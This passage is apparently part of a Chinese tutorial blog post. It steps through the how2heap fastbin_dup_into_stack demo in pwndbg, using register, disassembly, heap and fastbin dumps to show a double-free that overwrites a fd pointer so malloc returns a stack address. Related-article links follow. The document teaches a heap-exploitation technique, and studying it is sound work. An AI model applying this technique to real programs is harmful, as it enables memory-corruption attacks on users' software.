0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603020      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
49          char* f = malloc(8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RDI  0x2RSI  0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x62R10  0x32783020a29de98dR11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x400985 (main+735) ◂— 0xfbf1e800000008bf
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400973 <main+717>    lea    rax, [rbp - 0x48]0x400977 <main+721>    sub    rax, 80x40097b <main+725>    mov    rdx, rax0x40097e <main+728>    mov    rax, qword ptr [rbp - 0x28]0x400982 <main+732>    mov    qword ptr [rax], rdx► 0x400985 <main+735>    mov    edi, 80x40098a <main+740>    call   malloc@plt <0x400580>0x40098f <main+745>    mov    qword ptr [rbp - 0x18], rax0x400993 <main+749>    mov    rax, qword ptr [rbp - 0x18]0x400997 <main+753>    movabs rcx, 0x46464646464646460x4009a1 <main+763>    mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c44     stack_var = 0x20;45 46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));48     ► 49     char* f = malloc(8);50     strcpy(f, "FFFFFFFF");51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52     char* g = malloc(8);53     strcpy(g, "GGGGGGGG");54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rdx rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│          0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│          0x7fffffffe570 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
03:0018│          0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│          0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│          0x7fffffffe588 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
06:0030│          0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│          0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400985 main+735f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x00007fffffffe560      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed     0x7fffffffe560              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x7fffffffe560 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> b 54
Breakpoint 4 at 0x4009e8: file fastbin_dup_into_stack.c, line 54.
pwndbg> c
Continuing.
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中Breakpoint 4, main () at fastbin_dup_into_stack.c:54
54          fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x7fffffffe570 ◂— 'GGGGGGGG'RBX  0x0RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x0RDX  0x7fffffffe570 ◂— 'GGGGGGGG'RDI  0x0RSI  0x4747474747474747 ('GGGGGGGG')R8   0x603010 ◂— 'FFFFFFFF'R9   0x44R10  0xe8be93e9206e6962R11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x4009e8 (main+834) ◂— 0x4800201671058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4009e8 <main+834>    mov    rax, qword ptr [rip + 0x201671] <0x602060>0x4009ef <main+841>    mov    rdx, qword ptr [rbp - 0x10]0x4009f3 <main+845>    mov    esi, 0x400e680x4009f8 <main+850>    mov    rdi, rax0x4009fb <main+853>    mov    eax, 00x400a00 <main+858>    call   fprintf@plt <0x400570>0x400a05 <main+863>    mov    eax, 00x400a0a <main+868>    mov    rcx, qword ptr [rbp - 8]0x400a0e <main+872>    xor    rcx, qword ptr fs:[0x28]0x400a17 <main+881>    je     main+888 <0x400a1e>0x400a19 <main+883>    call   __stack_chk_fail@plt <0x400550>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c49     char* f = malloc(8);50     strcpy(f, "FFFFFFFF");51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52     char* g = malloc(8);53     strcpy(g, "GGGGGGGG");► 54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);55 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp      0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│          0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ rax rdx  0x7fffffffe570 ◂— 'GGGGGGGG'
03:0018│          0x7fffffffe578 —▸ 0x603000 ◂— 0x0
04:0020│          0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│          0x7fffffffe588 —▸ 0x603010 ◂— 'FFFFFFFF'
06:0030│          0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│          0x7fffffffe598 —▸ 0x603010 ◂— 'FFFFFFFF'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           4009e8 main+834f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:54
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Used                None              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x4646464646464646      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
55      }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x0RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbed0 ◂— 0xace680b8e499bfe8R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x3dR10  0x0R11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x400a0a (main+868) ◂— 0xc334864f84d8b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x4009f3 <main+845>           mov    esi, 0x400e680x4009f8 <main+850>           mov    rdi, rax0x4009fb <main+853>           mov    eax, 00x400a00 <main+858>           call   fprintf@plt <0x400570>0x400a05 <main+863>           mov    eax, 0► 0x400a0a <main+868>           mov    rcx, qword ptr [rbp - 8] <0x7ffff7b042c0>0x400a0e <main+872>           xor    rcx, qword ptr fs:[0x28]0x400a17 <main+881>           je     main+888 <0x400a1e>↓0x400a1e <main+888>           leave  0x400a1f <main+889>           ret    0x400a20 <__libc_csu_init>    push   r15
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c50     strcpy(f, "FFFFFFFF");51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52     char* g = malloc(8);53     strcpy(g, "GGGGGGGG");54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);► 55 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│      0x7fffffffe570 ◂— 'GGGGGGGG'
03:0018│      0x7fffffffe578 —▸ 0x603000 ◂— 0x0
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 —▸ 0x603010 ◂— 'FFFFFFFF'
06:0030│      0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│      0x7fffffffe598 —▸ 0x603010 ◂— 'FFFFFFFF'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400a0a main+868f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Used                None              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x4646464646464646      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p &stack_var
$1 = (unsigned long long *) 0x7fffffffe568
pwndbg> x/10gx 0x7fffffffe568
0x7fffffffe568: 0x0000000000000020      0x4747474747474747
0x7fffffffe578: 0x0000000000603000      0x0000000000603050
0x7fffffffe588: 0x0000000000603010      0x0000000000603030
0x7fffffffe598: 0x0000000000603010      0x00007fffffffe570
0x7fffffffe5a8: 0xe609b5a9bd5a1300      0x0000000000400a20
pwndbg> 

4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

这篇关于从零开始学howtoheap:fastbins的double-free攻击实操1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/700839

相关文章

速盾高防cdn是怎么解决网站攻击的?

速盾高防CDN是一种基于云计算技术的网络安全解决方案,可以有效地保护网站免受各种网络攻击的威胁。它通过在全球多个节点部署服务器,将网站内容缓存到这些服务器上,并通过智能路由技术将用户的请求引导到最近的服务器上,以提供更快的访问速度和更好的网络性能。 速盾高防CDN主要采用以下几种方式来解决网站攻击: 分布式拒绝服务攻击(DDoS)防护:DDoS攻击是一种常见的网络攻击手段,攻击者通过向目标网

生信代码入门:从零开始掌握生物信息学编程技能

少走弯路,高效分析;了解生信云,访问 【生信圆桌x生信专用云服务器】 : www.tebteb.cc 介绍 生物信息学是一个高度跨学科的领域,结合了生物学、计算机科学和统计学。随着高通量测序技术的发展,海量的生物数据需要通过编程来进行处理和分析。因此,掌握生信编程技能,成为每一个生物信息学研究者的必备能力。 生信代码入门,旨在帮助初学者从零开始学习生物信息学中的编程基础。通过学习常用

C# double[] 和Matlab数组MWArray[]转换

C# double[] 转换成MWArray[], 直接赋值就行             MWNumericArray[] ma = new MWNumericArray[4];             double[] dT = new double[] { 0 };             double[] dT1 = new double[] { 0,2 };

BIRT--商业智能和报表工具,从零开始

1.简介 BIRT (Business Intelligence and Reporting Tools), 是为 Web 应用程序开发的基于 Eclipse 的开源报表系统,特别之处在于它是以 Java 和 JavaEE 为基础。BIRT 有两个主要组件:基于 Eclipse 的报表设计器,以及部署到应用服务器上的运行时组件。 2.下载 官网下载网址:http://download.ec

STM32 HAL CAN通讯 实操

1、简介 相比于串口通讯,对于刚接触CAN通讯的小白来说,CAN通讯相对复杂,看各种视频、帖子理论,总是一知半解。本次通过傻瓜式操作,先实现CAN通讯的交互,以提高小白的信心,也便于自己复习观看。本次以STM32CubeMX进行初始化配置,通过Keil 5软件进行软件设计,通过CAN盒实现进行数据的交互。该流程实际以STM32F0、F1、F3、F4、F7实测好用(理论上都适用),这三种型号单片机

SAP学习笔记 - 开发02 - BTP实操流程(账号注册,BTP控制台,BTP集成开发环境搭建)

上一章讲了 BAPI的概念,以及如何调用SAP里面的既存BAPI。 SAP学习笔记 - 开发01 - BAPI是什么?通过界面和ABAP代码来调用BAPI-CSDN博客 本章继续讲开发相关的内容,主要就是BTP的实际操作流程,比如账号注册,登录,BTP集成开发环境的搭建这方面。 目录 1,账号注册 2,BTP登录URL 3,如何在BTP上进行开发? 以下是详细内容。 1,账

[SWPUCTF 2021 新生赛]web方向(一到六题) 解题思路,实操解析,解题软件使用,解题方法教程

题目来源 NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。https://www.nssctf.cn/problem   [SWPUCTF 2021 新生赛]gift_F12 这个题目简单打开后是一个网页  我们一般按F12或者是右键查看源代码。接着我们点击ctrl+f后快速查找,根据题目给的格式我们搜索c

HumanNeRF:Free-viewpoint Rendering of Moving People from Monocular Video 翻译

HumanNeRF:单目视频中运动人物的自由视点绘制 引言。我们介绍了一种自由视点渲染方法- HumanNeRF -它适用于一个给定的单眼视频ofa人类执行复杂的身体运动,例如,从YouTube的视频。我们的方法可以在任何帧暂停视频,并从任意新的摄像机视点或甚至针对该特定帧和身体姿势的完整360度摄像机路径渲染主体。这项任务特别具有挑战性,因为它需要合成身体的照片级真实感细节,如从输入视频中可能

从零开始学习JVM(七)- StringTable字符串常量池

1 概述 String应该是Java使用最多的类吧,很少有Java程序没有使用到String的。在Java中创建对象是一件挺耗费性能的事,而且我们又经常使用相同的String对象,那么创建这些相同的对象不是白白浪费性能吗。所以就有了StringTable这一特殊的存在,StringTable叫做字符串常量池,用于存放字符串常量,这样当我们使用相同的字符串对象时,就可以直接从StringTable

从零开始构建大语言模型并进行微调:全面指南

要从0开始搭建并训练一个大语言模型(LLM),涉及到多个步骤和资源,包括理论理解、工具使用、数据准备、模型训练与微调。以下是一个从基础到应用的指南,帮助你理解并逐步实现这一目标。 1. 理解基础概念 在开始搭建大语言模型之前,了解以下基本概念至关重要: 生成式AI:通过大语言模型生成自然语言文本,例如GPT、BERT等。机器学习:通过数据训练模型,使其具备从数据中学习规律的能力。深度学习:机